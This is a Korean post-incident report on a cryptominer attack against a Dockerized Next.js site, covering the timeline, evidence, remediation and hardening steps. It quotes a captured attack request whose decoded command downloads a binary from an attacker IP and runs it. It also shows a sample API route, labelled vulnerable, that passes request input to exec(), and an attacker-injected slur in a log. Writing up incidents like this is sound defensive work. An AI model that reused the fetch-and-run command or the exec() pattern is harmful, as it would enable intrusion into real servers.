보안 사고 보고서: Next.js 애플리케이션에 대한 크립토마이너 공격
Source: Dev.to
소개
2025년 12월 7‑8일, DigitalOcean Ubuntu 드롭릿에서 실행 중이던 Next.js 포트폴리오 애플리케이션 luisfaria.dev가 자동화된 크립토마이닝 공격에 의해 침해되었습니다. 공격자는 Docker‑컨테이너화된 Next.js 앱 내부에서 원격 코드를 실행해 암호화폐 채굴기를 배포했으며, 이 채굴기는 몇 시간 동안 실행된 뒤 탐지되었습니다.
이 문서는 사후 분석 및 교육 자료로, 공격이 어떻게 발생했는지, 무엇이 손상되었는지, 그리고 유사한 사고를 방지하기 위한 방법을 설명합니다.
타임라인
| 이벤트 | 시간 (UTC) |
|---|---|
| 공격 시작 | ~12월 7 21:52 |
| 탐지 | 12월 8 ≈ 18:00 (컨테이너 비정상 동작) |
| 복구 | 12월 9 (전체 재빌드 및 조사) |
| 문서 게시 | 12월 10 (본 문서) |
공격 개요
- 크립토마이너 배포 – 두 개의 채굴 프로세스(
XXaFNLHK와runnv)가 4시간 이상 실행됨. - 자원 고갈 – CPU 사용량 급증으로 애플리케이션 타임아웃 발생.
- 지속성 시도 – 악성코드가
systemd서비스를 만들려 했지만 실패함. - 프로세스 생성 – 40개 이상의 좀비 쉘 프로세스가 생성됨.
- Nginx 오류 – “upstream timed out (110: Operation timed out)” 메시지 다수.
- 컨테이너 응답 없음 – Docker 명령이 매우 느려짐.
- HTTP 499/504 오류 – 요청이 실패하거나 타임아웃됨.
프로세스 스냅샷
docker compose exec webapp ps aux
PID USER TIME COMMAND
1126 nextjs 4h24 ./XXaFNLHK # Cryptominer #1
1456 nextjs 3h49 /tmp/runnv/runnv # Cryptominer #2
40+ nextjs 0:00 [sh] # Zombie shells
증거
악성 HTTP 요청
141.98.11.98 - POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20jew.arm7%3B%20wget%20http%3A%2F%2F78.142.18.92%2Fbins%2Fjew.arm7%3B%20chmod%20777%20jew.arm7%3B%20.%2Fjew.arm7%20tbk
디코딩된 명령
cd /tmp; rm jew.arm7; wget http://78.142.18.92/bins/jew.arm7; chmod 777 jew.arm7; ./jew.arm7 tbk
이 패턴은 인터넷에 노출된 서버를 대상으로 퍼지는 알려진 IoT/라우터 익스플로잇과 일치합니다. Next.js 애플리케이션의 응답은 코드 실행 취약점이 있음을 나타냅니다.
다운로드된 파일
| 경로 | 설명 |
|---|---|
/tmp/runnv/runnv | 8.3 MB 바이너리 – 크립토마이너 |
/tmp/runnv/config.json | 채굴 풀 설정 파일 |
/tmp/alive.service | 시스템드 지속성 시도 (실패) |
/tmp/lived.service | 시스템드 지속성 시도 (실패) |
./XXaFNLHK | 보조 채굴기 바이너리 |
공격자 인프라
89.144.31.18– 초기 페이로드 다운로드 서버 (x86 바이너리)78.142.18.92– 보조 악성코드 배포 서버
애플리케이션 로그 조각
⨯ [Error: NEXT_REDIRECT] {
digest: '12334\nmy nuts itch nigga\nMEOWWWWWWWWW'
}
커스텀 digest 값은 API 라우트 또는 Server Action에서 사용자 입력을 제대로 정제하지 않아 쉘 명령이 삽입될 수 있음을 시사합니다. 오류는 Next.js에 의해 포착되었지만, 명령은 이미 실행되었습니다.
취약 코드 예시
// VULNERABLE – DO NOT USE
export async function POST(request) {
const { command } = await request.json();
const { exec } = require('child_process');
exec(command); // 🚨 Executes arbitrary commands
return Response.json({ success: true });
}
Docker 보안 평가
Docker가 방지한 것
- 채굴기가
/dev/에 쓰지 못함 (권한 거부). - 시스템드 서비스 설치 불가 (컨테이너 내부에 systemd 없음).
- 파일 시스템 접근이 컨테이너 범위로 제한됨.
- 컨테이너가 호스트 시스템과 격리됨.
Docker가 방지하지 못한 것
- 컨테이너 내부에서의 임의 코드 실행.
- 높은 CPU 사용량.
- 채굴 풀로의 외부 네트워크 연결.
- 컨테이너 내
/tmp/에 대한 쓰기.
복구 단계
-
침해된 컨테이너 중지
docker compose down -
포렌식 증거 보존
docker logs frontend_app > ~/attack_logs.txt docker logs nginx_gateway > ~/nginx_logs.txt -
깨끗한 소스로 재빌드
cd /var/www/portfolio git pull origin master --ff-only docker compose build --no-cache docker compose up -d -
정상 상태 확인
docker compose ps docker compose exec webapp ps aux # 의심스러운 프로세스 없어야 함
작업 항목
- 감사 모든 API 라우트에서
exec(),spawn(),eval(),Function()사용 여부 확인. - 검토 Server Action에 대한 입력 검증이 적절히 이루어지는지 확인.
- 실행
npm audit및 취약 의존성 업데이트. - 업그레이드 Next.js 최신 버전 적용 (이전 15.3.2).
- 구현 모든 사용자‑노출 엔드포인트에 대한 엄격한 입력 정제.
위험 함수 검색
# Find dangerous functions in the codebase
grep -rE "exec|spawn|eval|Function\(" . \
--include="*.js" --include="*.ts" \
--exclude-dir=node_modules
정제되지 않은 Server Action 확인
grep -r "use server" . --include="*.js" --include="*.ts"
Docker 강화
비루트 사용자 실행 (이미 적용)
USER nextjs
자원 제한
# docker‑compose.yml
deploy:
resources:
limits:
cpus: '1.0'
memory: 512M
네트워크 격리
# docker‑compose.yml
networks:
frontend:
driver: bridge
backend:
driver: bridge
internal: true # 백엔드에 인터넷 접근 차단
Nginx 강화
# Rate limiting to mitigate automated attacks
limit_req_zone $binary_remote_addr zone=api:10m rate=10r/s;
server {
location /api/ {
limit_req zone=api burst=20 nodelay;
# ... other directives ...
}
}
입력 검증 (핵심)
// SECURE CODE – never execute user input directly
import { z } from 'zod';
const schema = z.object({
action: z.enum(['allowed', 'actions', 'only']),
value: z.string().max(100).regex(/^[a-zA-Z0-9]+$/)
});
export async function POST(request) {
const body = await request.json();
const result = schema.safeParse(body);
if (!result.success) {
return Response.json({ error: 'Invalid input' }, { status: 400 });
}
// Perform safe, predefined operations here
}
모니터링 및 알림
-
컨테이너 자원 모니터링
docker stats frontend_app -
CPU 사용량 급증에 대한 알림 설정 (예: Prometheus + Grafana).
CORS 설정 업데이트
// src/index.ts
const corsOptions = {
origin: config.nodeEnv === 'production'
? ['https://luisfaria.dev'] // ✅ production domain
: 'http://localhost:3000',
credentials: true,
};
요약 체크리스트
- 사용자 입력을 직접 실행하지 않기.
- 엄격한 입력 검증 적용 (Zod, Joi 등).
-
npm audit를 정기적으로 실행 (프론트엔드·백엔드 모두). - 최소 권한 컨테이너 사용 (
USER nextjs). - CPU·메모리 제한 적용 (Issue #34).
- 서비스 간 네트워크 격리 구현 (Issue #40).
- Nginx 레이트 리밋 및 보안 헤더 추가 (Issue #33).
- 모든 API 라우트에 대한 입력 검증 강화 (Issue #29).
- 자원 급증에 대한 모니터링·알림 배치 (Issue #39).
- CORS를 프로덕션 도메인만 허용하도록 업데이트 (Issue #32).
- Next.js 및 모든 의존성을 최신 상태로 유지.